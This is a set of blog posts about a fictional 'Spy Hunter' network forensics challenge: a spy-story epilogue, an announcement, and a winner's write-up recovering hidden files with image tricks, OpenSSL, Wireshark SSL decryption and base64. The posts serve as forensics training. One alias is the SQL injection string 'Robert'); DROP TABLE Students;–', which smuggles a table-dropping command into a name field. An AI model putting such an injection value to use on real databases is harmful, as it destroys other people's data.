Roberto Tablato as Silky Suzy

Dave Nice

Pete Michaels

Kerry Nitpick

Susan Jones

Garry Francis

(Get this lot out of the photo table)

### If possible, speculate on the means by which Burgess was identified and recruited, and the existence of Project ThatsNoMoon leaked

Burgess AKA Homer Hicks was probably identified and recruited while drinking at the Rose and Crown Club

### If any arrests are to be made, when and where might be best to round up as many members of the Adversary at once?

SIBHOD and friends team day out!

The Picture House Cinema on the High Street (HAPPYLAND), Saturday the 16th Popcorn Stall (BLACK TWO) at 2:30. Mac Doddy’s (SODIUM) is giving away Kung Fu Panda toys in their happy meals (COWABUNGA), so they will eat there first.

Everyone will be suspected compromised for the duration of the outing (UTOPIA). They will not group up before reaching the popcorn stall.  Won’t sit in groups of more than 2 at MacDoddy’s.

Attendance should be: Dave, Bobby, Kerry,Pete, and Garry

### Speculate on the reason for Starr’s sudden exit and subsequent disappearance

Starr (Kerry Nitpick) became tense and agitated and exited because once he started inspecting the data he realized that his employer, SIBHOD, was the adversary, and the person he just hacked, ULTRAVENONA, is actually his boss, Dave Nice!

Great work, Jeff! Despite Yellow Sun’s total vetting failure in employing Keith Starr aka Kerry Nitpick, they have totally unpicked SIBHOD’s operations. The only question now is what they will choose to do with this information – stay tuned for Part III!

Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

## The Spy Hunter, Part II – Epilogue

Posted in Packet Challenge, Spy Hunter on 10 August, 2011 by Alec Waters

Kerry Nitpick wanted to run. But to do so would be to draw attention to himself, to “show out” as the pavement artists call it. He did not know if the surveillance team following him was real or merely in his imagination, but either way he was certain they were there.

They’d probably been on him since he left Yellow Sun HQ thirty minutes ago. YS hadn’t trusted him from day one – they’d likely been watching him ever since. The team was probably plotted up away from the building; no need to have their own eyes-on in such a controlled environment. That goon in the security hut at the gate must have been the trigger.

An aware target masquerading as an unaware one, Kerry strained his hearing, trying to hear them on their radios.

RED has the eyeball
GREEN backing
BLUE, I’m on the other side of the street

Despite the odds, the advantage was still his. He knew that as he turned left onto Laker Street they’d do their silly little dance, same as always, regular as clockwork.

RED, Target is approaching nearside turn onto Laker Street
BLUE moving up to cover

He’d be able to see Blue now if he looked over his right shoulder. He considered taking an extra step or two before turning the corner just to rattle them, but that would have tipped them off that he knew they were there. “Never let them know that you know,” Dave always used to say, “That’s Rule #1.” Rule #1 changed with the wind, but this one had held the title at least once.

He turned left onto Laker Street.

RED that’s the target Left Left onto Laker Street; handover
BLUE has the eyeball. Target proceeding, corner is clear
GREEN turning Left Left; I have the eyeball
BLUE backing
RED, I’m on the other side of the street

Laker Street was routinely pounded by suburban traffic, rattling the sash windows of the tall Victorian homes on the left hand side. Most properties had basements with steps leading down from the street; RED ONE was one such basement flat, number 221b. As he passed it he looked as closely as he could without turning his head. Everything seemed in order, but he certainly wasn’t going in through the front door. RED ONE was chosen for a very good reason, one which the surveillance team was soon to discover to their cost.

Leaving the steps to RED ONE behind, he maintained his pace but quickened his thoughts. The next left turn onto Kingsway had to be just right – he’d have three or four seconds tops to evade his pursuers. The window was tight, but terrain was on his side.

GREEN, Target is approaching nearside turn onto Kingsway
RED There’s no more footpath – I can’t move up to cover the corner! There’s too much traffic for me to step into the road
GREEN, That’s understood. If the Target takes the nearside turn I’ll clear the corner myself and we’ll carry out cornering drill without you. Catch up when you can

With Red neutered by the short footpath, Kerry turned left onto Kingsway, passing the corner shop. As he did so he removed his jacket and increased his walk almost to a jog.

GREEN that’s the Target Left Left onto Kingsway. Temporarily unsighted

Out of sight of the surveillance team, Kerry turned left one last time into the alleyway alongside the corner shop. Running now, he made for the rubbish bin that stood in front of the six foot gate that blocked further passage and obscured the alley’s access to the rear of the properties on Laker Street.

GREEN, I’m crossing Kingsway. No sign of Target. Loss, Loss

Lent by adrenaline the agility of a fitter man, he leapt onto the bin and threw his jacket over the thin strand of barbed wire that topped the gate. He hauled himself over and down the other side, tugging the shredded remains of his jacket behind him.

BLUE turning Left Left onto Kingsway. No sign of Target. Loss, Loss

Moving down the alleyway to the rear entrance of number 221b, the surveillance team’s comms chatter faded to silence.

GREEN, Total Loss, Total Loss. Commence search pattern

Finally inside RED ONE, Kerry took stock. It was supposed to be a straightforward penetration job; a simple exploit, lift some assets, get out. It would have been so much better had the target not turned out to be his boss, his real boss. All this “need to know” nonsense just gets a man into trouble. Why hadn’t Dave told him SIBHOD had already penetrated Yellow Sun? Why wouldn’t Yellow Sun tell him who the target was? Keith Starr would never have taken the job if he’d known.

So he did the best he could. He wasn’t going to give Yellow Sun anything that would damage SIBHOD; instead he turned over part of Dave’s tasteless music collection, plus his shopping list and his IE cache. Total junk, but better than nothing. It certainly bought him a ticket out of Yellow Sun’s front door.

But what to do next? From the files he turned over to Yellow Sun, he was certain there was nothing that could link him to either Dave or SIBHOD. Keith Starr’s professional reputation would take a bit of a hit, but if he kept his mouth shut, no harm done, surely? Or perhaps he should come clean to Dave, at least to tell him to update his PDF reader. Or maybe silence is golden – SIBHOD is not an organisation that tolerates failure…

A full write up of the winning solution to the Spy Hunter Part II Packet challenge is here!

Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

## The Spy Hunter, Part II

Posted in Packet Challenge, Spy Hunter on 13 July, 2011 by Alec Waters

In the wake of the Donald Burgess affair, Yellow Sun Heavy Industries finds itself in an uncomfortable situation. The top secret plans for Project ThatsNoMoon are in the hands of an unknown Adversary, and the traitorous Burgess has disappeared.

Only by taking positive action of its own can Yellow Sun hope to salvage the situation…

Evidence has been collected as the result of offensive action on the part of Yellow Sun against their unknown Adversary. Are you up to the challenge of maximising the haul’s intelligence yield? Click here to find out!

Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

## The Spy Hunter – solution

Posted in Packet Challenge, Spy Hunter on 13 September, 2010 by Alec Waters

We had a number of great entries to the challenge; it was very interesting to see how people approached it! I had fun creating it, and I hope you had fun investigating – thanks very much to everyone who played!

It was a close call, but I am pleased to announce that the winner of the “Ace Investigator” award and \$25 gift card is Travis Lee (@eelsivart on Twitter). Other great entries came from Ben Downton, the Penn State IA club, and Silas Cutler.

Here are the mission objectives as submitted by Travis:

## Link between Donald Burgess and the alias HomerHicks

Donald Burgess has a Facebook page and is friends with Kim Philby. They have both written on each other’s walls.  The image that Donald Burgess uses on Facebook is the same image that HomerHicks uses on Twitter.  A web search for “Donald Burgess” leads to a Wikipedia page on the “Cambridge Five”. There were two people in that group that in which one was named Donald Duart Maclean and had the crptonym “Homer” and one was named Guy Burgess that had the cryptonym Hicks.  Donald Burgess is a name comprised of both of those individuals so the cryptonyms would also be combined to form “HomerHicks”.

## Names and/or aliases of HomerHicks’ associates

Name: ?
Alias: UltraVenona

Name: Kim Philby
Alias: Stanley

Name: Robert’); DROP TABLE Students;–
Alias: Little Bobby Tables

## How was HomerHicks recruited and by whom

HomerHicks (Donald Burgess) was recruited by Kim Philby.  They first met at FIA 2010, day three near the Thales exhibit.  They then exchanged messages on Facebook where Kim put Donald in touch with UltraVenona to talk about some “extra part time work”.

## Timeline of events

All times are in PST.  Timestamp from IRC conversation was converted from BST to PST.
Aug 16, 3:49am – Donald Burgess joins Facebook and posts “Hello Facebook!” on his wall.
Aug 16, 4:17am to 4:36am – Kim Philby makes contact with Donald Burgess on Facebook by writing on his wall.  Kim asks Donald if he would like to do some extra part time work and puts him in touch with a friend, UltraVenona.
Aug 16, 1:37pm – UltraVenona makes a tweet to @HomerHicks saying “good to meet today”. UltraVenona also gives HomerHicks additional instructions.
Aug 17, 9:17am – HomerHicks has stolen Alpha from an old backup tape and has given it to UltraVenona.
Aug 17, 9:19am – HomerHicks discovers that Bravo is also on the same tape and steals Bravo.
Aug 17, 9:20am – UltraVenona tells HomerHicks on Twitter to contact @LittleBobbyTbls for help.
Aug 17, 9:24am – HomerHicks makes contact with @LittleBobbyTbls on Twitter for help getting Charlie.
Between Aug 17, 9:41am and Aug 18, 10:13am – HomerHicks has stolen Charlie.
Aug 18, 10:13am – HomerHicks logs into IRC and has a conversation with UltraVenona.  HomerHicks gives up Bravo to UltraVenona.
Aug 18, 10:49am – UltraVenona validates Bravo against Alpha.
Aug 18, 10:54am – HomerHicks is paid and gives up Charlie to UltraVenona.
Aug 18, 10:57am – HomerHicks is extracted from the coffee shop.

## Who gave Donald Burgess assistance and what kind?

Little Bobby Tables gave Donald Burgess assistance.  He showed Donald how to use SQL injection and tshark to get a packet capture of SMTP traffic which is what Charlie was.

## Recovery of Assets

Alpha:
HomerHicks’ Twitter page (@HomerHicks) contained a conversation with @UltraVenona.  One of his tweets included a link to Alpha (dl.dropbox.com/…).  Browsing to that link leads us to a file named:

089d615b-4a10-4520-a87b-fd6228c50a14.bmp.

Upon downloading of the file, it looks to be just a white bitmap file. There could be a hidden message in this picture, but how is it hidden? I opened the bitmap in a text editor to take a look at details of the file. Looking at the bitmap file format, it doesn’t look like the image it just plain white. It looks as if there is something else in there.  I then opened the bitmap file with Microsoft Paint. To see if there is hidden text in the image, I use the Paint Bucket tool to fill the background with black. Low and behold there is a link in the image (dl.dropbox.com/…). Browsing to the link leads us to a file named:

bf9de2e9-f9f0-47d2-9630-63228d41fe40-alpha.pem.

Viewing the file in a text editor shows us that this is an encrypted private key file because it has headers describing the type of encryption used and the initialization vector:

—–BEGIN RSA PRIVATE KEY—–
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-256-CBC,06CBE99CA9D5F1534D406E5868FDE302

Bravo:
To find Bravo, we first looked at the spyhunter-irc.pcap that was provided.  This was a packet capture of an unencrypted conversation between HomerHicks and UltraVenona on IRC.  To view the conversation, we need to open the capture file in Wireshark.  Then we will select the first frame in the capture file, right-click, and select “Follow TCP Stream”.  Upon doing so, a window will pop up showing us the entire IRC conversation.  After reading through the conversation, we see that HomerHicks private messaged UltraVenona saying that Bravo is with Stanley at this link, facebook.com/ki….  Browsing to that link leads us to a Facebook page for Kim Philby.  On his Info page, he has a Favorite Quotation that says “@UltraVenona – bravo – hic sunt dracones”.  If we look back to the IRC conversation, we see a message that says to verify Bravo against Alpha.  Since Alpha was an encrypted private key, Bravo may be the password to decrypt it which could be “hic sunt dracones”.  To see if this works, we can use OpenSSL in Linux with the command:
Openssl rsa –in bf9de2e9-f9f0-47d2-9630-63228d41fe40-alpha.pem –out alpha.pem

After running that command, it asks us for a password.  Let’s try and use what Kim Philby had on his Facebook page, “hic sunt dracones”.  It works!  We now have an unencrypted .pem file.  Now what do we use this for?

Charlie:

9e6ef492-462a-41cf-88bc-5f692661915e-charlie.pcap

Since this is a .pcap file, let’s open this up in Wireshark to see what it contains.  It looks like SSL encrypted traffic.  If we follow the TCP Stream on the encrypted traffic, all we can see is gibberish. Since Alpha was a .pem private key file, maybe this was the server certificate used with that network traffic.  With Wireshark, we can decrypt SSL traffic if we have the server certificate.  In Wireshark, select “Edit” from the menu bar, then “Preferences”.  Expand “Protocols”, then select “SSL”.  Now there is an option called “RSA keys list”.  This is where we will specify the key.  The format for this field is this:

<server ip>,<port number>,<protocol>,<path to key file>

To find out this information, we will use Wireshark to dig into the packets a little more.  Looking at packet #4, we see that the Info field shows “Client Hello”.  This is the client connecting to the server for the SSL negotiation.  We can see that the destination IP then is “192.168.93.2” which is the server.  If we look at the destination port, we see that it is “465”.  This is the port that is being used.  To find out what protocol is being used, we will click on packet #10, which is the first encrypted “Application Data” packet.  In the middle frame in Wireshark, we will expand the “Secure Socket Layer” field.  We now see that the “Application Data Protocol“ being used is smtp.  We will now put in these values in the SSL preferences section:

192.168.93.2,465,smtp,D:\temp\alpha.pem

After applying the settings, we see that Wireshark has now decrypted the SSL traffic.  We can now right click on packet #10 and select “Follow SSL Stream” to view the decrypted traffic.  Looking at the stream shows that this is a capture of a top secret email message with an image attachment.  To view the image, we need to convert it from base64 back to an image file.  To do this, we need to select packet #639 which is the entire message in Internet Message Format.  In the middle frame after selecting the packet, expand “Internet Message Format”, then expand “MIME Multipart Media Encapsulation”, and then expand “Encapsulated multipart part: (image/png)”.  This is the section of the message which contains the base64 encoded image.  Then right-click on the field named “Portable Network Graphics” and select “Copy”, and then “Bytes (Printable Text Only)”.  We will then paste that into a temporary file named “base64_image.txt”.  Then on a Linux system, we can decode the base64 string by using this command:

cat base64_image.txt | base64 –d >ThatsNoMoon.png

That’s no moon! It’s a space station!! This looks like top secret plans for a massive space station with a weapon that can destroy planets!!

Look at the size of that thing!

## Remediation

Yellow Sun Industries needs to fix the vulnerability in the space station design that could allow for a strategic shot into a thermal exhaust port which leads to the main reactor.  This would blow up the space station.  They should remove the vent if possible.  If not possible, they should protect the vent with shielding and more laser canons.

Excellent work, Travis! Honourable mentions go to the Penn State IA club for their use of curl to investigate the 404 on the way to recovering Charlie, and to Ben Downton for his remediation suggestions which were:

• Yellow Sun should examine the backup tape to determine any other information that may be ‘at risk’.
• Yellow Sun should consult with HR (if they have not done so already) to decide the fate of Donald Burgess. There is likely already grounds for disciplinary proceedings after failing to show up for work and checking out backups unecessarily. Given the results of this investigation there is very likely grounds for firing him and pursuing civil or criminal action.
• Yellow Sun should disable any of Donald’s accounts and revoke any physical access tokens. It is also recommended that door/lift and other authorisation codes are changed.
• Yellow Sun should certainly work with law enforcement officers to track down how far the blueprints have leaked and recover them if necessary.
• It is recommended that budget is immediately set aside to be devoted to pursuing the investigation and preparing for any consequential loss (such as loss of market position, fines imposed etc.)
• Yellow Sun should consult with the legal/pr departments (if they exist) in order to decide on preparing a statement to be issued to affected parties.

One of the best things about a challenge like this is seeing how people’s approach and suggestions differ from my own. When confronted with the “blank” BMP, I would have followed Travis’ route. Ben’s approach was different:

This bitmap file appeared as a plain white image, visually ‘hidden’ on the page. Extracting this image revealed small variations in the data structure of the image invisible to the naked eye (offset by 1 bit). Opening the image in GIMP and auto correcting the levels revealed a link http://j.mp/aLEdYa

When I was setting the challenge, I gave the image to a friend of mine, an experienced Photoshop jockey. I was hoping his image manipulation skills would help him uncover the clue in about 30 seconds. In the end it took him closer to a minute, but he got the job done. As Infosec pros, it’s helpful for us to remember that skills in “non-security” domains can often help further an investigation – recognise when they’re needed and seek them out. As usual, the “NOKIA” principle applies – No One Knows It All.

Again totally different to Travis and Ben, this was what I had in mind for remediation steps:

• Patch or replace the installation of VeryVulnerableCMS that allowed Donald Burgess to run tshark.
• The SSL certificate for mail.yellow.sun is well and truly compromised as the private key has been leaked. Looking at frame 5 from Charlie, we can see a bit more about it:
• The first thing that is highlighted is the certificate’s serial number – cert 21314 should be revoked and re-issued immediately.
• The second thing that might draw the eye is the length of time that the certificate is valid for – from 16th August 2009 all the way until 12th March 2016!! Yellow Sun could consider issuing certificates with a shorter lifespan.
• Next, we look at the decrypted SSL:
• Yellow Sun make use of SSL-protected authenticated SMTP. However, once you’ve stripped off the SSL, only BASE64 protects the passed credentials. The AUTH LOGIN exchange above reveals this:
• design@yellow.sun
• The credentials above are therefore compromised, and should be changed. Also, Yellow Sun employees should be encouraged to make more of an effort when choosing passwords…
• Lastly, and there’s no proof of this, but Yellow Sun might like to take a look at their personnel files. I strongly doubt that Philby approached Burgess at FIA totally at random. Perhaps there’s someone else inside Yellow Sun who marked Burgess for Philby’s attention? Could there still be a mole inside Yellow Sun?

The Penn State IA club produced a nice timeline, which you can see here. I also had a play with creating an interactive timeline of events; I can’t embed it directly into this post, but click the image to take a look:

## Finally, don’t I know you from somewhere?

As Travis alluded to, I’ve not been entirely original in my selection of the characters’ names. Here’s where my inspiration came from:

• HomerHicks/Donald Burgess is indeed a composite of Donald Maclean and Guy Burgess (codenamed Homer and Hicks respectively), two members of the Cambridge Five.
• Kim Philby (codenamed Stanley) was another member of the Cambridge Five.
• UltraVenona is a composite of Ultra (the codename given to intercepted Enigma traffic during WW2) and Venona (the codename given to intercepted Soviet traffic during the Cold War).
• Yellow Sun was a British free fall nuclear weapon of the Cold War.
• The briefing document said that the investigation of Donald Burgess was codenamed Operation FOOT. The real FOOT was the mass expulsion from the United Kingdom of Soviet diplomats and trade delegation officials in 1971 (more here (bottom of page) and here).
• Finally, Yellow Sun’s Keith Tarkin shares his name with the other Mr Tarkin who is also in possession of something that definitely isn’t a moon.

That’s all for now, folks. However, I doubt we’ve seen the last of Donald Burgess and associates!

Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk